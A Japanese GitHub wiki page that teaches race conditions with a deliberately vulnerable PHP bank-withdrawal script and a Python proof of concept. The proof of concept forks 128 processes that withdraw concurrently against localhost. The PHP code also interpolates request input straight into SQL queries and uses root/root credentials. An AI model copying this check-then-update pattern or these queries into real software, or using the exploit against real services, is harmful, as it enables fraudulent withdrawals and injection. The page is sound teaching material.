raceconditions 01 - yujitounai/helloworld GitHub Wiki

レースコンディション/Race Conditions

同じような処理を複数回起こさせることで制限を突破したり1度しか使えないクーポンを複数回使えるようにしたり残高を不正に増やしたりする。

脆弱なソースコード(php)

<?php
$user_code = (isset($_GET['user_code'])) ? $_GET['user_code'] : '';
$amt = (isset($_GET['amount'])) ? $_GET['amount'] : 0;
$dbcon = mysqli_connect('mysql','root','root','raceconditions') or die('Dieeeeeeeeeeeeeeeee');
function getBalance($ucode)
{
	global $dbcon;
	
	$sql = "SELECT balance FROM bank_accounts where ucode = '{$ucode}'";
	$r = mysqli_query($dbcon, $sql);
	if($r !== NULL && $r->num_rows === 1)
	{
		$d = mysqli_fetch_assoc($r);
		return $d['balance'];
	}
	return NULL;
}
function setBalance($ucode, $v)
{
	global $dbcon;
	
	$sql = "UPDATE bank_accounts SET balance = {$v} where ucode = '{$ucode}'";
	$r = mysqli_query($dbcon, $sql);
	return $r;
}

function withdraw($amount, $ucode)
{
   $balance = getBalance($ucode);
   if($amount <= $balance)
   {
       $balance = $balance - $amount;
       setBalance($ucode, $balance);
   }
   else
   {
       echo "資金不足:<br>";
   }
}
echo "出金前の残高 $" .  getBalance($user_code) . "から \${$amt} 引き出し<br/>\n";
withdraw($amt, $user_code);
echo "残高 $" .  getBalance($user_code) . "<br/>\n";
mysqli_close($dbcon);
?>

攻撃方法

$10000残高のあるところに以下のプログラムを走らせると128回リクエストが行われて0になるはずだが、残高が残る

import os
# Withdraw 128 times with 128 concurrent process, $100 each process.
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128

url_test = 'http://localhost:9001/racecondition-01.php?user_code=BANK000001&amount=100'

print (os.popen('php -r "echo file_get_contents(\'' + url_test + '\');"').read())

参考

https://github.com/doantranhoang/php-race-condition-example/blob/master/poc.php

⚠️ **GitHub.com Fallback** ⚠️